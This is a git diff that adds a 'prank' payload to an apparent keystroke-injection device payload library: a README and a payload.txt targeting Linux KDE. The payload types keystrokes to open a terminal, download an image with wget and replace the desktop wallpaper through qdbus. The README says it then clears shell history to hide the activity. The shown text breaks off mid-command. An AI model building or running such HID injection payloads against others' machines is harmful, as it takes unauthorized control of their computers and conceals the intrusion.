diff --git a/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md
new file mode 100644
index 000000000..5cbbdcd33
--- /dev/null
+++ b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md
@@ -0,0 +1,45 @@
+# Change Desktop Wallpaper - Linux
+
+A script used to prank your friends changing their desktop wallpaper.
+
+**Category**: Prank
+
+## Description
+
+A script used to prank your friends changing their desktop wallpaper.
+
+Opens a shell, download the image, define the local image path, run a command KDE BASED that will replace the desktop wallpaper with the local image path, then delete the image downloaded, clear the history and close the shell.
+
+## Getting Started
+
+### Dependencies
+
+* Internet Connection
+* Linux KDE
+
+### Settings
+
+- Image link
+- Local image path
+
+## Credits
+
+
Aleff
+
+
+
+
+
+
+
+ Github
+ |
+
+
+
+
+ LinkedIn
+ |
+
+
+
diff --git a/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt
new file mode 100644
index 000000000..08cc0193c
--- /dev/null
+++ b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt
@@ -0,0 +1,36 @@
+###########################################
+# #
+# Title : Change Desktop Wallpaper #
+# Author : Aleff #
+# Version : 1.0 #
+# Category : Prank #
+# Target : Linux (KDE based) #
+# #
+###########################################
+
+ATTACKMODE HID
+
+# Requirements:
+# - Internet Connection
+
+# VARIABLES
+# - 1) IMAGE_LINK with your image link i.e. 'example.com/IMAGE_NAME'
+IMAGE_LINK='example.com'
+# - 2) example.jpg with the image path, i.e. if the path is '/home/USERNAME/example.jpg' you must write 'file:///home/USERNAME/example.jpg'
+IMAGE_PATH='file:///home/USERNAME/example.jpg'
+
+QUACK DELAY 1000
+QUACK CTRL-ALT t
+QUACK DELAY 2000
+QUACK STRING wget $IMAGE_LINK
+QUACK ENTER
+
+# It depends by the Internet Connection
+QUACK DELAY 2000
+
+QUACK STRING qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript \"var allDesktops = desktops();for (i=0;i